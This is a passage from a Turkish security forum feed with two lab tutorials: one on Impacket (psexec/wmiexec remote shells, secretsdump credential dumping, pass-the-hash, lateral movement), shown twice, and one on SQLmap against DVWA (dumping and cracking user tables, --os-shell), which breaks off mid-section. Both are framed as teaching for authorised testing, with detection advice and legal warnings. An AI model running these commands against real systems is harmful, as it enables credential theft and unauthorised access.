<span style="font-weight: bold;" class="mycode_b">psexec</span>, hedefte geçici bir servis oluşturup SYSTEM yetkisiyle etkileşimli kabuk verir (yerel yönetici kimliği gerekir):<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>impacket-psexec ornekdomain/yonetici:'Parola123'@192.168.56.120</code></div></div>Başarılı olursa bir Windows komut istemi açılır; yetkiyi doğrulamak için:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>C:&#92;&gt; whoami
nt authority&#92;system</code></div></div>psexec servis oluşturduğu için gürültülüdür ve EDR/log tarafında iz bırakır. Daha sessiz bir alternatif <span style="font-weight: bold;" class="mycode_b">wmiexec</span>'tir; WMI üzerinden komut çalıştırır:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>impacket-wmiexec ornekdomain/yonetici:'Parola123'@192.168.56.120</code></div></div><br />
<br />
<span style="font-size: 4pt;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">6. impacket-secretsdump ile Kimlik Bilgisi Dökümü</span></span><br />
secretsdump, Windows kimlik sırlarını (SAM yerel hash'leri, LSA sırları ve domain denetleyicisinde NTDS.dit) çıkarır. Uzaktan, yönetici kimliğiyle:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>impacket-secretsdump ornekdomain/yonetici:'Parola123'@192.168.56.120</code></div></div>Çıktı, kullanıcıların NTLM hash'lerini "kullanici:rid:lmhash:nthash:::" biçiminde listeler. Bu hash'ler pass-the-hash için veya çevrimdışı kırma (John/Hashcat) için kullanılabilir. Çevrimdışı analiz için elinizde SAM ve SYSTEM kovanları varsa:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>impacket-secretsdump -sam SAM -system SYSTEM LOCAL</code></div></div>Domain denetleyicisinde DCSync yöntemiyle tüm domain hash'lerinin çekilebilmesi, neden "Domain Admin" yetkisinin tüm ağın anahtarı olduğunu çarpıcı biçimde gösterir.<br />
<br />
<br />
<span style="font-size: 4pt;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">7. Savunma Perspektifi</span></span><br />
Impacket araçları, saldırganın yetkili bir kimlik ele geçirdikten sonra ne kadar hızlı yayılabileceğini gösterir. Savunma için önemli kontroller:<ul class="mycode_list"><li><span style="font-weight: bold;" class="mycode_b">En az ayrıcalık ve yerel yönetici ayrımı:</span> LAPS ile her makineye benzersiz yerel yönetici parolası.<br />
</li>
<li><span style="font-weight: bold;" class="mycode_b">Kimlik koruma:</span> Credential Guard, LSASS koruması ve güçlü parola politikaları pass-the-hash etkisini sınırlar.<br />
</li>
<li><span style="font-weight: bold;" class="mycode_b">Tespit:</span> psexec'in servis oluşturması (Event ID 7045), anormal WMI/SMB kullanımı ve DCSync replikasyon istekleri SIEM'de izlenmelidir.<br />
</li>
<li><span style="font-weight: bold;" class="mycode_b">Ağ segmentasyonu:</span> İdari paylaşımlara (C&#36;, ADMIN&#36;) erişimi kısıtlamak yanal hareketi zorlaştırır.<br />
</li>
</ul>
<br />
<span style="font-size: 4pt;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">7.1. Impacket'i Bir İş Akışında Düşünmek</span></span><br />
Impacket betiklerini tek tek öğrenmek kolaydır; asıl beceri, onları bir saldırı zincirinin mantıklı adımlarına yerleştirmektir. Tipik bir iç ağ senaryosunda sıralama şöyle işler: önce keşif ve bir kimlik (kullanıcı adı + parola ya da hash) elde edersiniz; ardından impacket-smbclient ile bu kimliğin hangi paylaşımlara eriştiğini görürsünüz; yeterli yetki varsa impacket-psexec veya impacket-wmiexec ile uzaktan komut çalıştırıp dayanak noktası kurarsınız; en sonunda impacket-secretsdump ile daha fazla kimlik bilgisi toplar ve bir sonraki makineye yanal hareket edersiniz. Bu döngü (kimlik topla, erişimi genişlet, yeni kimlik topla) modern iç ağ testlerinin özüdür.<br />
<br />
Bu araçların en öğretici yanı, parolanın kendisine değil, kimlik doğrulama malzemesine (hash, bilet) dayanmasıdır. Pass-the-hash ile bir NTLM hash'i, parola hiç bilinmeden kimlik doğrulamak için yeterlidir; bu da neden hash'lerin en az parolalar kadar hassas olduğunu gösterir. secretsdump bir makineden hash topladığında, aynı yerel yönetici parolasının birçok makinede tekrar kullanıldığı ortamlarda tek bir hash tüm ağı açabilir. İşte bu yüzden LAPS gibi makine başına benzersiz parola çözümleri kritik bir savunmadır.<br />
<br />
Pratik bir uyarı: bu betikler varsayılan yapılandırmalarıyla gürültülüdür ve çoğu kurumsal EDR/SIEM bunları tanır. Bir denetimde amaç sessizce yıkmak değil, savunmanın bu hareketleri görüp göremediğini test etmektir. Bu yüzden her adımı kaydedin, hangi aracın hangi iz bıraktığını not edin ve raporunuzda hem bulduğunuz yanal hareket yollarını hem de tespit boşluklarını birlikte sunun. Böylece Impacket, yalnızca bir saldırı aracı değil, aynı zamanda savunmayı ölçen bir mihenk taşı hâline gelir.<br />
<br />
<span style="font-size: 4pt;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Sonuç</span></span><br />
Impacket, Windows/AD ortamlarında kimlik doğrulama, dosya erişimi, uzaktan komut ve kimlik bilgisi dökümünü tek tutarlı çatı altında toplar. secretsdump, psexec ve smbclient üçlüsünü anlamak, hem kırmızı takımda yanal hareketi hem de mavi takımda tespiti kavramak için temeldir. Tüm bu araçları yalnızca kendi lab'ınızda veya yazılı izinli testlerde kullanın.<br />
<br />
<span style="font-size: 4pt;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Kaynakça</span></span><ul class="mycode_list"><li>Impacket Resmi Deposu - <a href="https://github.com/fortra/impacket" target="_blank" rel="noopener" class="mycode_url">https://github.com/fortra/impacket</a><br />
</li>
<li>Impacket Örnek Betik Belgeleri - <a href="https://github.com/fortra/impacket/tree/master/examples" target="_blank" rel="noopener" class="mycode_url">https://github.com/fortra/impacket/tree/master/examples</a><br />
</li>
<li>Kali Tools: impacket-scripts - <a href="https://www.kali.org/tools/impacket-scripts/" target="_blank" rel="noopener" class="mycode_url">https://www.kali.org/tools/impacket-scripts/</a><br />
</li>
<li>MITRE ATT&amp;CK - OS Credential Dumping (T1003) - <a href="https://attack.mitre.org/techniques/T1003/" target="_blank" rel="noopener" class="mycode_url">https://attack.mitre.org/techniques/T1003/</a><br />
</li>
<li>Microsoft: LAPS - <a href="https://learn.microsoft.com/windows-server/identity/laps/laps-overview" target="_blank" rel="noopener" class="mycode_url">https://learn.microsoft.com/windows-serv...s-overview</a><br />
</li>
</ul>
<br />
<span style="font-size: 4pt;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Yasal Uyarı</span></span><br />
<blockquote class="mycode_quote"><cite>Alıntı:</cite>Impacket araçları yalnızca kendi sistemlerinizde veya yazılı izin aldığınız ağlarda kullanılmalıdır. İzinsiz kimlik bilgisi dökümü ve uzaktan komut çalıştırma Türk Ceza Kanunu 243-245. maddeleri kapsamında ağır suçtur.</blockquote>
<br />
<span style="font-style: italic;" class="mycode_i">Yasal uyarı: Bu içerik eğitim amaçlıdır. Yalnızca kendi sistemlerinizde veya yazılı izin aldığınız hedeflerde uygulayın (TCK 243-245).</span><br /><!-- start: postbit_attachments_attachment -->
<br /><!-- start: attachment_icon -->
<img src="https://cdn.turkteam.org/images/attachtypes/image.png" title="PNG Image" border="0" alt=".png" />
<!-- end: attachment_icon -->&nbsp;&nbsp;<a href="attachment.php?aid=150" target="_blank" title="">000-team-new-489840.png</a> (Dosya Boyutu: 62.64 KB / İndirme Sayısı: 7)
<!-- end: postbit_attachments_attachment -->]]></description>
			<content:encoded><![CDATA[<span style="font-weight: bold;" class="mycode_b">Selam TurkTeam,</span><br />
<br />
Impacket, ağ protokolleriyle (SMB, MSRPC, NTLM, Kerberos ve daha fazlası) ham düzeyde çalışan Python sınıflarından oluşan bir kütüphanedir. Ama çoğu pentest'çi onu, bu sınıfların üzerine yazılmış hazır betikleriyle (secretsdump, psexec, smbclient, wmiexec...) tanır. Bu araçlar, özellikle Windows/Active Directory ortamlarında kimlik bilgisi toplama ve uzaktan komut çalıştırmanın İsviçre çakısıdır. Bu rehberde Impacket'i kurulumdan temel iş akışına, yalnızca kendi lab ortamınızda uygulamak üzere ele alıyoruz.<br />
<br />
<span style="font-size: 4pt;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Konuda Anlatılacaklar</span></span><br />
<ol type="1" class="mycode_list"><li>Impacket nedir, ne işe yarar<br />
</li>
<li>Kurulum ve Kali'deki betik isimleri<br />
</li>
<li>Kimlik doğrulama söz dizimi (parola ve pass-the-hash)<br />
</li>
<li>impacket-smbclient ile paylaşım erişimi<br />
</li>
<li>impacket-psexec / wmiexec ile uzaktan komut<br />
</li>
<li>impacket-secretsdump ile kimlik bilgisi dökümü<br />
</li>
<li>Sonuç, kaynakça ve yasal uyarı<br />
</li>
</ol>
<br />
<span style="font-size: 4pt;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">1. Impacket Nedir?</span></span><br />
Impacket (SecureAuth/Fortra tarafından sürdürülen açık kaynak proje), ağ protokollerini programatik olarak kullanmayı sağlayan bir Python kütüphanesidir. Pratikte onu güçlü kılan, bu kütüphaneyle yazılmış hazır örnek betiklerdir. Bu betikler bir Windows ağında kimlik doğrulama, dosya erişimi, uzaktan komut çalıştırma ve kimlik bilgisi (hash) çıkarma gibi işleri standartlaştırır. Mavi takım için de değerlidir: saldırganın hangi protokolleri nasıl kullandığını anlamak, tespit kuralı yazmanın temelidir.<br />
<br />
<span style="font-size: 4pt;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">2. Kurulum</span></span><br />
Kali/Parrot üzerinde Impacket betikleri genellikle hazırdır veya tek paketle gelir:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>sudo apt update
sudo apt install impacket-scripts python3-impacket</code></div></div>Kali'de betikler <span style="font-weight: bold;" class="mycode_b">impacket-</span> önekiyle çağrılır (örn. impacket-secretsdump). Pip ile kurduğunuzda ise doğrudan secretsdump.py biçiminde olur. Kurulumu doğrulamak için:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>impacket-smbclient -h | head
# veya pip kurulumunda
secretsdump.py -h | head</code></div></div><br />
<span style="font-size: 4pt;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">3. Kimlik Doğrulama Söz Dizimi</span></span><br />
Impacket betiklerinin çoğu ortak bir hedef biçimi kullanır: <span style="font-weight: bold;" class="mycode_b">domain/kullanici:parola@hedef</span>. Çalışma grubu ortamında domain yerine makine/boş bırakılır.<br />
<br />
<span style="font-weight: bold;" class="mycode_b">Parola ile:</span><br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>impacket-smbclient ornekdomain/ahmet:'Parola123'@192.168.56.120</code></div></div><br />
<span style="font-weight: bold;" class="mycode_b">Parola sormasını istemek (komut geçmişine yazmamak için):</span><br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>impacket-smbclient ornekdomain/ahmet@192.168.56.120</code></div></div><br />
<span style="font-weight: bold;" class="mycode_b">Pass-the-hash (parola yerine NTLM hash):</span> -hashes LMHASH:NTHASH biçiminde verilir; LM yoksa boş bırakılıp yalnızca NT kullanılır:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>impacket-psexec -hashes :aad3b435b51404eeaad3b435b51404ee... ornekdomain/ahmet@192.168.56.120</code></div></div>Bu, bir hash ele geçirildiğinde parolayı kırmaya gerek kalmadan kimlik doğrulamayı gösterir; neden hash korumasının kritik olduğunu anlatan iyi bir derstir.<br />
<br />
<span style="font-size: 4pt;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">4. impacket-smbclient ile Paylaşım Erişimi</span></span><br />
Impacket'in kendi SMB istemcisi, etkileşimli ve betiklenebilir bir arayüz sunar:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>impacket-smbclient ornekdomain/ahmet:'Parola123'@192.168.56.120</code></div></div>Bağlandıktan sonra komutlarla paylaşımları gezebilirsiniz:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code># shares        -&gt; paylaşımları listele
# use C&#36;         -&gt; bir paylaşıma geç
# ls             -&gt; içeriği listele
# get gizli.txt  -&gt; dosya indir</code></div></div>Bu araç özellikle yönetici kimliğiyle C&#36; gibi idari paylaşımlara erişimi ve dosya aktarımını kolaylaştırır.<br />
<div style="text-align: center;" class="mycode_align"><img src="https://www.turkteam.org/attachment.php?aid=150" loading="lazy"  alt="[Resim: attachment.php?aid=150]" class="mycode_img" /></div>
<br />
<span style="font-size: 4pt;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">5. impacket-psexec ve wmiexec ile Uzaktan Komut</span></span><br />
<span style="font-weight: bold;" class="mycode_b">psexec</span>, hedefte geçici bir servis oluşturup SYSTEM yetkisiyle etkileşimli kabuk verir (yerel yönetici kimliği gerekir):<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>impacket-psexec ornekdomain/yonetici:'Parola123'@192.168.56.120</code></div></div>Başarılı olursa bir Windows komut istemi açılır; yetkiyi doğrulamak için:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>C:&#92;&gt; whoami
nt authority&#92;system</code></div></div>psexec servis oluşturduğu için gürültülüdür ve EDR/log tarafında iz bırakır. Daha sessiz bir alternatif <span style="font-weight: bold;" class="mycode_b">wmiexec</span>'tir; WMI üzerinden komut çalıştırır:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>impacket-wmiexec ornekdomain/yonetici:'Parola123'@192.168.56.120</code></div></div><br />
<br />
<span style="font-size: 4pt;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">6. impacket-secretsdump ile Kimlik Bilgisi Dökümü</span></span><br />
secretsdump, Windows kimlik sırlarını (SAM yerel hash'leri, LSA sırları ve domain denetleyicisinde NTDS.dit) çıkarır. Uzaktan, yönetici kimliğiyle:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>impacket-secretsdump ornekdomain/yonetici:'Parola123'@192.168.56.120</code></div></div>Çıktı, kullanıcıların NTLM hash'lerini "kullanici:rid:lmhash:nthash:::" biçiminde listeler. Bu hash'ler pass-the-hash için veya çevrimdışı kırma (John/Hashcat) için kullanılabilir. Çevrimdışı analiz için elinizde SAM ve SYSTEM kovanları varsa:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>impacket-secretsdump -sam SAM -system SYSTEM LOCAL</code></div></div>Domain denetleyicisinde DCSync yöntemiyle tüm domain hash'lerinin çekilebilmesi, neden "Domain Admin" yetkisinin tüm ağın anahtarı olduğunu çarpıcı biçimde gösterir.<br />
<br />
<br />
<span style="font-size: 4pt;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">7. Savunma Perspektifi</span></span><br />
Impacket araçları, saldırganın yetkili bir kimlik ele geçirdikten sonra ne kadar hızlı yayılabileceğini gösterir. Savunma için önemli kontroller:<ul class="mycode_list"><li><span style="font-weight: bold;" class="mycode_b">En az ayrıcalık ve yerel yönetici ayrımı:</span> LAPS ile her makineye benzersiz yerel yönetici parolası.<br />
</li>
<li><span style="font-weight: bold;" class="mycode_b">Kimlik koruma:</span> Credential Guard, LSASS koruması ve güçlü parola politikaları pass-the-hash etkisini sınırlar.<br />
</li>
<li><span style="font-weight: bold;" class="mycode_b">Tespit:</span> psexec'in servis oluşturması (Event ID 7045), anormal WMI/SMB kullanımı ve DCSync replikasyon istekleri SIEM'de izlenmelidir.<br />
</li>
<li><span style="font-weight: bold;" class="mycode_b">Ağ segmentasyonu:</span> İdari paylaşımlara (C&#36;, ADMIN&#36;) erişimi kısıtlamak yanal hareketi zorlaştırır.<br />
</li>
</ul>
<br />
<span style="font-size: 4pt;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">7.1. Impacket'i Bir İş Akışında Düşünmek</span></span><br />
Impacket betiklerini tek tek öğrenmek kolaydır; asıl beceri, onları bir saldırı zincirinin mantıklı adımlarına yerleştirmektir. Tipik bir iç ağ senaryosunda sıralama şöyle işler: önce keşif ve bir kimlik (kullanıcı adı + parola ya da hash) elde edersiniz; ardından impacket-smbclient ile bu kimliğin hangi paylaşımlara eriştiğini görürsünüz; yeterli yetki varsa impacket-psexec veya impacket-wmiexec ile uzaktan komut çalıştırıp dayanak noktası kurarsınız; en sonunda impacket-secretsdump ile daha fazla kimlik bilgisi toplar ve bir sonraki makineye yanal hareket edersiniz. Bu döngü (kimlik topla, erişimi genişlet, yeni kimlik topla) modern iç ağ testlerinin özüdür.<br />
<br />
Bu araçların en öğretici yanı, parolanın kendisine değil, kimlik doğrulama malzemesine (hash, bilet) dayanmasıdır. Pass-the-hash ile bir NTLM hash'i, parola hiç bilinmeden kimlik doğrulamak için yeterlidir; bu da neden hash'lerin en az parolalar kadar hassas olduğunu gösterir. secretsdump bir makineden hash topladığında, aynı yerel yönetici parolasının birçok makinede tekrar kullanıldığı ortamlarda tek bir hash tüm ağı açabilir. İşte bu yüzden LAPS gibi makine başına benzersiz parola çözümleri kritik bir savunmadır.<br />
<br />
Pratik bir uyarı: bu betikler varsayılan yapılandırmalarıyla gürültülüdür ve çoğu kurumsal EDR/SIEM bunları tanır. Bir denetimde amaç sessizce yıkmak değil, savunmanın bu hareketleri görüp göremediğini test etmektir. Bu yüzden her adımı kaydedin, hangi aracın hangi iz bıraktığını not edin ve raporunuzda hem bulduğunuz yanal hareket yollarını hem de tespit boşluklarını birlikte sunun. Böylece Impacket, yalnızca bir saldırı aracı değil, aynı zamanda savunmayı ölçen bir mihenk taşı hâline gelir.<br />
<br />
<span style="font-size: 4pt;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Sonuç</span></span><br />
Impacket, Windows/AD ortamlarında kimlik doğrulama, dosya erişimi, uzaktan komut ve kimlik bilgisi dökümünü tek tutarlı çatı altında toplar. secretsdump, psexec ve smbclient üçlüsünü anlamak, hem kırmızı takımda yanal hareketi hem de mavi takımda tespiti kavramak için temeldir. Tüm bu araçları yalnızca kendi lab'ınızda veya yazılı izinli testlerde kullanın.<br />
<br />
<span style="font-size: 4pt;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Kaynakça</span></span><ul class="mycode_list"><li>Impacket Resmi Deposu - <a href="https://github.com/fortra/impacket" target="_blank" rel="noopener" class="mycode_url">https://github.com/fortra/impacket</a><br />
</li>
<li>Impacket Örnek Betik Belgeleri - <a href="https://github.com/fortra/impacket/tree/master/examples" target="_blank" rel="noopener" class="mycode_url">https://github.com/fortra/impacket/tree/master/examples</a><br />
</li>
<li>Kali Tools: impacket-scripts - <a href="https://www.kali.org/tools/impacket-scripts/" target="_blank" rel="noopener" class="mycode_url">https://www.kali.org/tools/impacket-scripts/</a><br />
</li>
<li>MITRE ATT&amp;CK - OS Credential Dumping (T1003) - <a href="https://attack.mitre.org/techniques/T1003/" target="_blank" rel="noopener" class="mycode_url">https://attack.mitre.org/techniques/T1003/</a><br />
</li>
<li>Microsoft: LAPS - <a href="https://learn.microsoft.com/windows-server/identity/laps/laps-overview" target="_blank" rel="noopener" class="mycode_url">https://learn.microsoft.com/windows-serv...s-overview</a><br />
</li>
</ul>
<br />
<span style="font-size: 4pt;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Yasal Uyarı</span></span><br />
<blockquote class="mycode_quote"><cite>Alıntı:</cite>Impacket araçları yalnızca kendi sistemlerinizde veya yazılı izin aldığınız ağlarda kullanılmalıdır. İzinsiz kimlik bilgisi dökümü ve uzaktan komut çalıştırma Türk Ceza Kanunu 243-245. maddeleri kapsamında ağır suçtur.</blockquote>
<br />
<span style="font-style: italic;" class="mycode_i">Yasal uyarı: Bu içerik eğitim amaçlıdır. Yalnızca kendi sistemlerinizde veya yazılı izin aldığınız hedeflerde uygulayın (TCK 243-245).</span><br /><!-- start: postbit_attachments_attachment -->
<br /><!-- start: attachment_icon -->
<img src="https://cdn.turkteam.org/images/attachtypes/image.png" title="PNG Image" border="0" alt=".png" />
<!-- end: attachment_icon -->&nbsp;&nbsp;<a href="attachment.php?aid=150" target="_blank" title="">000-team-new-489840.png</a> (Dosya Boyutu: 62.64 KB / İndirme Sayısı: 7)
<!-- end: postbit_attachments_attachment -->]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[SQLMap ile SQL Injection Otomasyonu: DVWA Üzerinde Uygulamalı]]></title>
			<link>https://www.turkteam.org/konu-sqlmap-ile-sql-injection-otomasyonu-dvwa-uzerinde-uygulamali.html</link>
			<pubDate>Sun, 18 Oct 2026 11:07:31 +0300</pubDate>
			<dc:creator><![CDATA[<a href="https://www.turkteam.org/member.php?action=profile&uid=4">KulTigin</a>]]></dc:creator>
			<guid isPermaLink="false">https://www.turkteam.org/konu-sqlmap-ile-sql-injection-otomasyonu-dvwa-uzerinde-uygulamali.html</guid>
			<description><![CDATA[<span style="font-weight: bold;" class="mycode_b">Merhaba TurkTeam,</span><br />
<br />
SQL Injection (SQLi), web uygulamalarının en eski ve en etkili zafiyetlerinden biridir. Elle sömürmek zahmetli olabilir; işte <span style="font-weight: bold;" class="mycode_b">SQLmap</span> tam burada devreye girer: SQL enjeksiyon açıklarını otomatik tespit eden ve sömüren güçlü, açık kaynaklı bir araçtır. Bu rehberde SQLmap'i, yasal ve güvenli bir lab olan <span style="font-weight: bold;" class="mycode_b">DVWA</span> (Damn Vulnerable Web Application) üzerinde adım adım kullanacağız. Her şey yalnızca kendi lab ortamınız içindir.<br />
<br />
<span style="font-size: 4pt;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Konuda Anlatılacaklar</span></span><br />
<ol type="1" class="mycode_list"><li>SQL Injection ve SQLmap nedir<br />
</li>
<li>Lab kurulumu: DVWA ve güvenlik seviyesi<br />
</li>
<li>Oturum/çerez ile kimlikli tarama mantığı<br />
</li>
<li>SQLmap temel parametre referansı<br />
</li>
<li>Uygulamalı: veritabanı, tablo ve veri çıkarımı<br />
</li>
<li>İleri seviye: risk/level, --os-shell, tamper<br />
</li>
<li>Sonuç, kaynakça ve yasal uyarı<br />
</li>
</ol>
<br />
<span style="font-size: 4pt;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">1. SQLi ve SQLmap Nedir?</span></span><br />
SQL Injection, kullanıcıdan gelen girdinin doğrudan bir SQL sorgusuna karıştırılmasıyla, saldırganın sorgunun mantığını değiştirebilmesidir. Sonuç; yetkisiz veri okuma, kimlik doğrulama atlatma, hatta bazı durumlarda sunucuda komut çalıştırmaya kadar gidebilir.<br />
<br />
<span style="font-weight: bold;" class="mycode_b">SQLmap</span>, bu açıkları otomatik keşfeden ve sömüren bir araçtır. Boolean-based, error-based, time-based blind, UNION-based gibi birçok enjeksiyon tekniğini destekler; MySQL, PostgreSQL, MSSQL, Oracle gibi pek çok veritabanını tanır ve veri çıkarımını otomatikleştirir.<br />
<br />
<span style="font-size: 4pt;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">2. Lab Kurulumu: DVWA</span></span><br />
DVWA, kasıtlı olarak zafiyetli bir PHP/MySQL uygulamasıdır ve öğrenmek için idealdir. En kolay yol Docker ile çalıştırmaktır:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>sudo docker run --rm -it -p 80:80 vulnerables/web-dvwa</code></div></div>Tarayıcıdan <a href="http://localhost" target="_blank" rel="noopener" class="mycode_url">http://localhost</a> adresine gidin, varsayılan admin/password ile giriş yapın ve "Create / Reset Database" butonuna basın. Ardından <span style="font-weight: bold;" class="mycode_b">DVWA Security</span> sayfasından güvenlik seviyesini önce <span style="font-weight: bold;" class="mycode_b">Low</span> yapın.<br />
<div style="text-align: center;" class="mycode_align"><img src="https://www.turkteam.org/attachment.php?aid=142" loading="lazy"  alt="[Resim: attachment.php?aid=142]" class="mycode_img" /></div>
<br />
Hedefimiz "SQL Injection" sayfasıdır; URL şu kalıptadır:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>http://localhost/vulnerabilities/sqli/?id=1&amp;Submit=Submit</code></div></div><br />
<span style="font-size: 4pt;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">3. Oturum/Çerez Mantığı</span></span><br />
DVWA giriş gerektirir; SQLmap'in de aynı oturumu kullanması için çerezi vermeliyiz. Tarayıcının geliştirici araçlarından (Application &gt; Cookies) <span style="font-weight: bold;" class="mycode_b">PHPSESSID</span> ve <span style="font-weight: bold;" class="mycode_b">security</span> çerezlerini kopyalayın. Bunları --cookie ile SQLmap'e aktaracağız.<br />
<br />
<span style="font-size: 4pt;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">4. SQLmap Parametre Referansı</span></span><br />
<span style="font-weight: bold;" class="mycode_b">-u</span> - Hedef URL (enjekte edilecek parametreyi içerir):<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>sqlmap -u "http://localhost/vulnerabilities/sqli/?id=1&amp;Submit=Submit"</code></div></div><br />
<span style="font-weight: bold;" class="mycode_b">--cookie</span> - Kimlikli istek için oturum çerezi:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>--cookie="PHPSESSID=abcdef123; security=low"</code></div></div><br />
<span style="font-weight: bold;" class="mycode_b">-p</span> - Hangi parametrenin test edileceği:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>-p id</code></div></div><br />
<span style="font-weight: bold;" class="mycode_b">--dbs</span> - Erişilebilir veritabanlarını listele:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>--dbs</code></div></div><br />
<span style="font-weight: bold;" class="mycode_b">-D / --tables</span> - Bir veritabanının tablolarını listele:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>-D dvwa --tables</code></div></div><br />
<span style="font-weight: bold;" class="mycode_b">-T / --columns</span> - Bir tablonun sütunlarını listele:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>-D dvwa -T users --columns</code></div></div><br />
<span style="font-weight: bold;" class="mycode_b">--dump</span> - Verileri çıkar (döküm al):<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>-D dvwa -T users --dump</code></div></div><br />
<span style="font-weight: bold;" class="mycode_b">--batch</span> - Soruları varsayılanla otomatik yanıtla (etkileşimsiz):<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>--batch</code></div></div><br />
<span style="font-size: 4pt;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">5. Uygulamalı: Veritabanından Veri Çıkarma</span></span><br />
<span style="font-weight: bold;" class="mycode_b">Adım 1 - Enjeksiyon tespiti.</span> Önce parametrenin zafiyetli olup olmadığını doğrulayalım:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>sqlmap -u "http://localhost/vulnerabilities/sqli/?id=1&amp;Submit=Submit" &#92;
  --cookie="PHPSESSID=abcdef123; security=low" -p id --batch</code></div></div>SQLmap zafiyeti bulunca "parameter 'id' is vulnerable" ve kullanılan tekniği (örn. boolean-based blind, UNION query) ile birlikte arka plandaki veritabanını (örn. MySQL) raporlar.<br />
<br />
<br />
<span style="font-weight: bold;" class="mycode_b">Adım 2 - Veritabanlarını listeleme:</span><br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>sqlmap -u "http://localhost/vulnerabilities/sqli/?id=1&amp;Submit=Submit" &#92;
  --cookie="PHPSESSID=abcdef123; security=low" --dbs --batch</code></div></div>Çıktıda "dvwa", "information_schema" gibi veritabanları listelenir.<br />
<br />
<span style="font-weight: bold;" class="mycode_b">Adım 3 - dvwa veritabanının tabloları:</span><br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>sqlmap -u "..." --cookie="..." -D dvwa --tables --batch</code></div></div>"users" ve "guestbook" tabloları görünür.<br />
<br />
<span style="font-weight: bold;" class="mycode_b">Adım 4 - users tablosunu dökme:</span><br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>sqlmap -u "..." --cookie="..." -D dvwa -T users --dump --batch</code></div></div>SQLmap kullanıcı kayıtlarını bir tabloda gösterir. Parola sütunu hash'li ise SQLmap hash'i tanıyıp sözlük saldırısı önerir; kabul ederseniz dahili wordlist ile kırmaya çalışır ve çözülen parolaları yanında gösterir.<br />
<br />
<br />
<span style="font-size: 4pt;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">6. İleri Seviye: Level, Risk, Shell ve Tamper</span></span><br />
<span style="font-weight: bold;" class="mycode_b">--level ve --risk:</span> Daha fazla test vektörü ve daha agresif teknikler için (1-5 ve 1-3); yüksek değerler daha kapsamlı ama daha gürültülüdür:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>sqlmap -u "..." --cookie="..." --level=5 --risk=3 --batch</code></div></div><br />
<span style="font-weight: bold;" class="mycode_b">Higher security seviyeleri:</span> DVWA'da güvenlik "Medium" (POST + sayısal) veya "High" olduğunda, isteği -r ile bir dosyadan (Burp'tan kaydedilen ham istek) besleyebilir veya --data ile POST gövdesi verebilirsiniz:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>sqlmap -r istek.txt -p id --batch</code></div></div><br />
<span style="font-weight: bold;" class="mycode_b">--os-shell:</span> Uygun koşullarda (dosya yazma yetkisi, yol bilgisi) işletim sistemi kabuğu dener. Bu, yüksek etkili bir adımdır ve yalnızca kendi lab'ınızda denenmelidir:<br />
